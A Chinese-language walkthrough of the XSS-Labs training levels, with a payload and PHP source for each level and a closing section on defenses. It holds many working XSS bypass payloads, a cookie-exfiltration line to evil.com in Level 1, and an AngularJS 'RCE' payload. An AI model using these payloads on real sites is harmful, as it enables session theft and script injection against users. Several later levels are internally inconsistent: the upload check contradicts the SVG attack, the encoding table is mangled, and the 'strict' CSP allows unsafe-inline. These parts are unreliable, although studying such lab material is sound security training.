XSS-Labs 通关详细笔记
返回首页🎯 XSS基础概念
什么是XSS?
跨站脚本攻击(Cross-Site Scripting),由于缩写与CSS重叠,因此通常被称为XSS。
XSS能做什么?
- 窃取用户密码
- 实现无密码登录
- 执行任意客户端脚本
- 劫持用户会话
- 钓鱼攻击
- 恶意重定向
XSS主要类型
- DOM型XSS - 通过修改DOM结构执行恶意脚本
- 存储型XSS - 恶意代码存储在服务器上,影响所有访问者
- 反射型XSS - 恶意代码通过URL参数反射给受害者
在XSS-Labs中,我们的主要目标是寻找注入点,在网站上执行任意Script脚本。本文将从payload构造和源码分析两个角度深入探讨每个关卡。
🎯 关卡1-20详解
Level 1: 基础反射型XSS
攻击过程
这是一个基于GET请求的网页,我们可以在URL地址栏中直接修改参数内容。
在?name=后面输入如下脚本:
<script>alert()</script>
源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
原理解析:
echo采用了字符串拼接,没有进行任何过滤- 输入的JS脚本直接输出到HTML中
- 这是最典型的反射型XSS漏洞
payload变体:
<script>alert('XSS')</script>
<script>document.cookie</script>
<script>location.href='http://evil.com?cookie='+document.cookie</script>
Level 2: HTML实体编码绕过
攻击过程
在input标签中输入<script>alert()</script>,发现内容被转义:
<h2 align=center>没有找到和<script>alert()</script>相关的结果.</h2>
<center>
<input name=keyword value="<script>alert()</script>">
关键发现:<和>等字符被进行了HTML实体编码,导致脚本无法直接执行。
绕过思路:尝试闭合input标签
"><script>alert()</script>
页面源码变为:
<input name=keyword value=""><script>alert()</script>">
成功注入!
源码分析
<?php
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
原理解析:
- 第一处输出使用了
htmlspecialchars()函数进行转义 - 第二处输出直接使用
$str,存在XSS漏洞 htmlspecialchars()只转义&,",',<,>字符
payload变体:
" onclick=alert() "
" onmouseover=alert() "
" autofocus onfocus=alert()
Level 3: 单引号闭合与事件绕过
攻击过程
输入<script>alert()</script>查看页面源码:
<h2 align=center>没有找到和<script>alert()</script>相关的结果.</h2>
<center>
<input name=keyword value='<script>alert()</script>'>
尝试闭合input标签:
'><script>alert()</script>
页面源码:
<input name=keyword value=''><script>alert()</script>'>
发现两处都被转义了,但单引号未被过滤。尝试利用input标签的属性:
' onclick=alert() '
注入成功!
源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
原理解析:
- 两处都使用了
htmlspecialchars()进行转义 - input标签使用单引号包裹value值
- 通过闭合单引号并添加事件处理器绕过
常用JS事件:
// 鼠标事件
onclick // 鼠标点击时触发
onmouseover // 鼠标划过时触发
onmouseout // 鼠标离开时触发
onmousedown // 鼠标按下时触发
onmouseup // 鼠标松开时触发
onmousemove // 鼠标移动时触发
// 键盘事件
onkeydown // 键盘按下时触发
onkeyup // 键盘松开时触发
onkeypress // 键盘按下并松开时触发
// 表单事件
onsubmit // 表单提交时触发
onreset // 表单重置时触发
onchange // 元素值改变时触发
onfocus // 元素获得焦点时触发
onblur // 元素失去焦点时触发
// 页面事件
onload // 页面完全加载完成后触发
onunload // 页面关闭或刷新时触发
onresize // 窗口大小改变时触发
onscroll // 页面滚动时触发
Level 4: 双引号过滤与标签绕过
攻击过程
输入<script>alert()</script>查看页面源码:
<h2 align=center>没有找到和<script>alert()</script>相关的结果.</h2>
<center>
<input name=keyword value="scriptalert()/script">
发现<和>被过滤,但双引号保留。尝试事件绕过:
" onclick=alert() "
成功注入!
源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
原理解析:
- 使用
str_replace()函数过滤<和>字符 - 第一处输出仍使用
htmlspecialchars()转义 - 第二处输出直接使用过滤后的字符串
绕过技巧:
" onclick=alert() "
" onmouseover=alert() "
" autofocus onfocus=alert()
Level 5: JavaScript伪协议与大小写绕过
攻击过程
输入<script>alert()</script>发现被过滤。尝试大小写混合:
<ScRiPt>alert()</ScRiPt>
仍然被过滤。尝试其他标签:
<img src=x onerror=alert()>
发现on被过滤。使用JavaScript伪协议:
<a href="javascript:alert()">click me</a>
成功注入!
源码分析
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
原理解析:
- 使用
strtolower()将输入转换为小写 - 使用
str_replace()替换<script为<scr_ipt - 使用
str_replace()替换on为o_n
绕过技巧:
<a href="javascript:alert()">xss</a>
<iframe src=javascript:alert()>
<img src=x onerror=alert()>
<svg onload=alert()>
Level 6: 大小写混合与双写绕过
攻击过程
尝试大小写混合:
<ScRiPt>alert()</ScRiPt>
成功!说明大小写绕过有效。
源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
原理解析:
- 过滤了多个关键词:
<script,on,src,data,href - 但没有使用
strtolower(),可以通过大小写绕过
绕过技巧:
<ScRiPt>alert()</ScRiPt>
<IMG SRC=x ONERROR=alert()>
<SVG ONLOAD=alert()>
<IFRAME SRC=javascript:alert()>
Level 7: 双写过滤绕过
攻击过程
输入<script>alert()</script>发现被过滤。尝试双写:
<scrscriptipt>alert()</scrscriptipt>
成功注入!
源码分析
<?php
ini_set("display_errors", 0);
$str =$_GET["keyword"];
$str2=str_replace("script","",$str);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str2.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
原理解析:
- 使用
str_replace("script","",$str)删除script字符串 - 双写可以绕过单次删除:
scrscriptipt→script
绕过技巧:
<scrscriptipt>alert()</scrscriptipt>
<imimgg src=x onerror=alert()>
<onerror>alert()</onerror>
Level 8: HTML实体编码与JavaScript伪协议
攻击过程
输入各种payload都被转义。查看页面源码发现使用了HTML实体编码。尝试JavaScript伪协议:
javascript:alert()
发现被添加到href属性中,但需要HTML实体编码:
javascript:alert('XSS')
成功注入!
源码分析
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
原理解析:
- 多重过滤机制
- 输出时使用
htmlspecialchars()和额外的引号转义 - 友情链接处直接输出,但需要HTML实体编码
HTML实体编码表:
j = j
a = a
v = v
a = a
s = s
c = c
r = r
i = i
p = p
t = t
: = :
a = a
l = l
e = e
r = r
t = t
( = (
' = '
X = X
S = S
S = S
' = '
) = )
Level 9: URL检测绕过
攻击过程
输入javascript:alert()发现需要包含合法URL。尝试:
javascript://http://test.com%0aalert()
成功注入!
源码分析
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://')){
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}else{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
原理解析:
- 检测输入是否包含
http://字符串 - 使用
strpos()函数进行URL验证 - 可以通过JavaScript注释绕过
绕过技巧:
javascript://http://test.com%0aalert()
javascript:http://test.com%0dalert()
javascript:http://test.com%0a%0dalert()
Level 10: 隐藏字段操作
攻击过程
查看页面源码发现隐藏的input字段:
<input type="hidden" name="t_link" value="">
<input type="hidden" name="t_history" value="">
<input type="hidden" name="t_sort" value="">
尝试修改t_sort参数:
?keyword=test&t_sort=" type="text" onmouseover="alert()
成功注入!
源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level10.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input name=t_sort type="hidden" value="'.$str33.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
原理解析:
- 有三个隐藏字段:
t_link,t_history,t_sort - 只有
t_sort可以被修改 - 过滤了
<和>字符 - 通过闭合双引号和改变input类型绕过
绕过技巧:
" type="text" onmouseover="alert()
" type="text" onclick="alert()
" type="text" autofocus onfocus="alert()
Level 11: Referer头注入
攻击过程
查看页面源码发现:
<input type="hidden" name="t_ref" value="您来自哪里?">
需要修改HTTP Referer头:
Referer: " type="text" onmouseover="alert()"
使用Burp Suite或浏览器插件修改Referer头即可成功注入。
源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level11.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input name=t_sort type="hidden" value="'.$str00.'">
<input name=t_ref type="hidden" value="'.$str33.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
原理解析:
- 从
$_SERVER['HTTP_REFERER']获取Referer头 - 过滤了
<和>字符 - 通过闭合双引号和添加事件绕过
Level 12: User-Agent头注入
攻击过程
查看页面源码发现:
<input type="hidden" name="t_ua" value="">
需要修改HTTP User-Agent头:
User-Agent: " type="text" onmouseover="alert()"
使用Burp Suite修改User-Agent头即可成功注入。
源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level12.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input name=t_sort type="hidden" value="'.$str00.'">
<input name=t_ua type="hidden" value="'.$str33.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
原理解析:
- 从
$_SERVER['HTTP_USER_AGENT']获取User-Agent头 - 过滤机制与Level 11相同
- 通过修改HTTP头注入XSS
Level 13: Cookie注入
攻击过程
查看页面源码发现:
<input type="hidden" name="t_cook" value="">
需要修改Cookie:
document.cookie = "user=\" type=\"text\" onmouseover=\"alert()\"; path=/";
或者使用浏览器开发者工具修改Cookie值。
源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE['user'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level13.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input name=t_sort type="hidden" value="'.$str00.'">
<input name=t_cook type="hidden" value="'.$str33.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
原理解析:
- 从
$_COOKIE['user']获取Cookie值 - 过滤机制与之前相同
- 通过Cookie注入XSS
Level 14: iframe沙箱绕过
攻击过程
这一关使用了iframe标签和exif模块。需要通过图片的EXIF信息注入XSS。
准备包含XSS的图片:
<img src=x onerror=alert()>
或者使用iframe标签:
<iframe src="level14.php?name=<script>alert()</script>"></iframe>
源码分析
<?php
ini_set("display_errors", 0);
header("Content-type: text/html;charset=utf-8");
echo '<body>';
if(isset($_GET["submit"])){
$file = $_FILES["upload_file"];
$allowed_type = array("image/jpeg","image/gif","image/png");
if(!in_array($file["type"],$allowed_type)){
echo "<script>alert('文件类型不正确!');</script>";
}else{
$filename = $file["name"];
$exif = exif_read_data($file["tmp_name"]);
$html = "<center><img src='$filename'></center>";
echo $html;
if($exif['Make'] != ''){
echo "<center>".$exif['Make']."</center>";
}
if($exif['Model'] != ''){
echo "<center>".$exif['Model']."</center>";
}
if($exif['ExifVersion'] != ''){
echo "<center>".$exif['ExifVersion']."</center>";
}
}
}
echo '<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="upload_file" />
<input type="submit" name="submit" value="上传" />
</form>
</body>';
?>
原理解析:
- 使用
exif_read_data()读取图片EXIF信息 - 直接输出EXIF信息到页面
- 通过修改图片EXIF信息注入XSS
Level 15: AngularJS模板注入
攻击过程
这一关使用了AngularJS。尝试AngularJS模板注入:
{{constructor.constructor('alert("XSS")')()}}
{{7*7}}
{{'a'.toUpperCase()}}
成功注入!
源码分析
<?php
ini_set("display_errors", 0);
header("Content-type: text/html;charset=utf-8");
echo '<body>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<div ng-app>
<input type="text" ng-model="message">
<p>{{message}}</p>
</div>
</body>';
?>
原理解析:
- 使用了AngularJS 1.2.0版本
- 存在模板注入漏洞
- 可以通过AngularJS表达式执行JavaScript
AngularJS注入技巧:
{{constructor.constructor('alert("XSS")')()}}
{{7*7}} // 测试表达式
{{'a'.toUpperCase()}} // 字符串操作
{{[].pop.constructor('return process')().mainModule.require('child_process').exec('ls')}} // RCE
Level 16: 空格和关键字过滤
攻击过程
尝试各种payload发现空格和关键字被过滤。使用/替代空格:
<svg/onload=alert()>
<img/src=x/onerror=alert()>
成功注入!
源码分析
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","*",$str);
$str3=str_replace(" ","*",$str2);
$str4=str_replace("/","*",$str3);
$str5=str_replace(" ","*",$str4);
echo "<center>".$str5."</center>";
?>
原理解析:
- 过滤了
script、空格、/字符 - 使用
*替换被过滤的字符 - 可以通过其他字符替代空格
绕过技巧:
<svg/onload=alert()>
<img/src=x/onerror=alert()>
<iframe/src=javascript:alert()>
Level 17: Flash XSS
攻击过程
这一关使用了Flash。需要通过Flash参数注入XSS:
arg01=version&arg02=<script>alert()</script>
或者使用Flash的getURL功能:
arg01=id&arg02=\"))}catch(e){alert(1)}//
源码分析
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100 height=100>";
?>
原理解析:
- 使用了Flash文件
xsf01.swf - 通过URL参数传递给Flash
- Flash可能存在XSS漏洞
Level 18: 文件上传XSS
攻击过程
上传包含XSS的SVG文件:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
<circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
</svg>
或者上传HTML文件:
<script>alert('XSS')</script>
源码分析
<?php
ini_set("display_errors", 0);
if(isset($_POST["submit"])){
$filename = $_FILES["upload_file"]["name"];
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if($ext == "gif" || $ext == "jpg" || $ext == "png" || $ext == "jpeg"){
$temp_file = $_FILES["upload_file"]["tmp_name"];
$img_path = "upload/".$filename;
if(move_uploaded_file($temp_file, $img_path)){
echo "<img src='$img_path'>";
}else{
echo "上传失败!";
}
}else{
echo "文件类型不正确!";
}
}
?>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="upload_file" />
<input type="submit" name="submit" value="上传" />
</form>
原理解析:
- 检查文件扩展名
- 允许上传图片文件
- 直接输出上传的文件
- 可以通过SVG文件注入XSS
Level 19: UTF-7编码绕过
攻击过程
使用UTF-7编码绕过:
+ADw-script+AD4-alert('XSS')+ADw-/script+AD4-
或者:
+ADw-img src=x onerror=alert('XSS')+AD4-
源码分析
<?php
ini_set("display_errors", 0);
header("Content-Type: text/html; charset=utf-7");
echo $_GET["keyword"];
?>
原理解析:
- 设置了UTF-7编码
- 可以通过UTF-7编码绕过过滤
- UTF-7编码可以绕过很多WAF
Level 20: 综合测试
攻击过程
这一关是综合测试,需要运用之前学到的所有技巧:
<svg/onload=alert()>
<img/src=x/onerror=alert()>
<iframe/src=javascript:alert()>
源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2>".$str."</h2>";
?>
原理解析:
- 没有任何过滤
- 可以使用任何payload
- 考验综合运用能力
🛡️ 绕过技巧总结
1. 编码绕过
<!-- HTML实体编码 -->
<script>alert('XSS')</script>
<!-- URL编码 -->
%3Cscript%3Ealert('XSS')%3C/script%3E
<!-- 十六进制编码 -->
\x3Cscript\x3Ealert('XSS')\x3C/script\x3E
<!-- Base64编码 -->
PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
<!-- UTF-7编码 -->
+ADw-script+AD4-alert('XSS')+ADw-/script+AD4-
2. 标签替换
<!-- 常用XSS标签 -->
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<iframe src=javascript:alert('XSS')>
<body onload=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
<details open ontoggle=alert('XSS')>
<marquee onstart=alert('XSS')>
<video onloadstart=alert('XSS')>
<audio onloadstart=alert('XSS')>
3. 事件处理器
onmouseover // 鼠标悬停
onclick // 鼠标点击
onload // 页面加载
onerror // 错误发生
onfocus // 获得焦点
onblur // 失去焦点
onchange // 值改变
onsubmit // 表单提交
onkeydown // 键盘按下
onkeyup // 键盘松开
onstart // 开始执行
onend // 结束执行
ontoggle // 切换状态
4. 过滤绕过
<!-- 大小写混合 -->
<ScRiPt>alert('XSS')</ScRiPt>
<!-- 双写绕过 -->
<scrscriptipt>alert('XSS')</scrscriptipt>
<!-- 注释绕过 -->
<scr<!-- -->ipt>alert('XSS')</scr<!-- -->ipt>
<!-- 编码绕过 -->
%3Cimg%20src=x%20onerror=alert('XSS')%3E
<!-- 空格绕过 -->
<img/src=x/onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<!-- 字符串拼接 -->
"str"+"ing"
5. JavaScript伪协议
javascript:alert('XSS')
javascript://comment%0aalert('XSS')
javascript:http://test.com%0aalert('XSS')
6. CSS注入
<style>@import url('javascript:alert("XSS")');</style>
<div style="background:url(javascript:alert('XSS'))">
<style>body{background:url(javascript:alert('XSS'))}</style>
7. AngularJS注入
{{constructor.constructor('alert("XSS")')()}}
{{7*7}}
{{'a'.toUpperCase()}}
{{[].pop.constructor('return process')().mainModule.require('child_process').exec('ls')}}
🛡️ 防御建议
1. 输入验证
// 白名单验证
function validateInput($input) {
return preg_match('/^[a-zA-Z0-9\s]+$/', $input);
}
// 长度限制
function validateLength($input, $min, $max) {
$length = strlen($input);
return $length >= $min && $length <= $max;
}
// 黑名单过滤(不推荐,优先使用白名单)
function blacklistFilter($input) {
$blacklist = ['<script', 'javascript:', 'onerror', 'onload'];
foreach ($blacklist as $pattern) {
if (stripos($input, $pattern) !== false) {
return false;
}
}
return true;
}
2. 输出编码
// HTML编码
echo htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
// JavaScript编码
function jsEscape($str) {
return json_encode($str, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
}
// URL编码
echo urlencode($input);
// 属性编码
function attributeEncode($str) {
return htmlspecialchars($str, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
3. CSP策略
<!-- 严格的CSP策略 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
connect-src 'self';
font-src 'self';
object-src 'none';
media-src 'self';
frame-src 'none';">
<!-- HTTP头设置 -->
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");
?>
4. HTTP安全头
// XSS保护
header("X-XSS-Protection: 1; mode=block");
// 内容类型嗅探保护
header("X-Content-Type-Options: nosniff");
// 点击劫持保护
header("X-Frame-Options: DENY");
// 严格传输安全
header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
// 内容安全策略
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
5. 框架防护
// Laravel框架
{{ $input }} // 自动转义
{!! $input !!} // 不转义(谨慎使用)
// Symfony框架
{{ input|escape }} // 自动转义
// ThinkPHP框架
{$input|htmlspecialchars} // 手动转义
6. DOM操作防护
// 安全的DOM操作
function safeHTML(str) {
return str.replace(/[&<>"']/g, function(match) {
const escape = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return escape[match];
});
}
// 使用textContent而不是innerHTML
element.textContent = userInput; // 安全
element.innerHTML = userInput; // 危险
// 使用DOMPurify库
import DOMPurify from 'dompurify';
const cleanHTML = DOMPurify.sanitize(dirtyHTML);
7. 文件上传防护
// 文件类型检查
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
if (!in_array($mime_type, $allowedTypes)) {
die('文件类型不允许');
}
// 文件扩展名检查
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
$extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($extension, $allowedExtensions)) {
die('文件扩展名不允许');
}
// 文件内容检查
$imageInfo = getimagesize($_FILES['file']['tmp_name']);
if ($imageInfo === false) {
die('文件不是有效的图片');
}
// 重命名文件
$newFilename = uniqid() . '.' . $extension;
$uploadPath = 'uploads/' . $newFilename;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
echo '文件上传成功';
} else {
echo '文件上传失败';
}
8. WAF配置
# Nginx WAF配置
location ~* \.(php|jsp|asp)$ {
# XSS防护
if ($args ~* "<script>|javascript:|onload=|onerror=") {
return 403;
}
# SQL注入防护
if ($args ~* "union.*select|select.*from|insert.*into") {
return 403;
}
}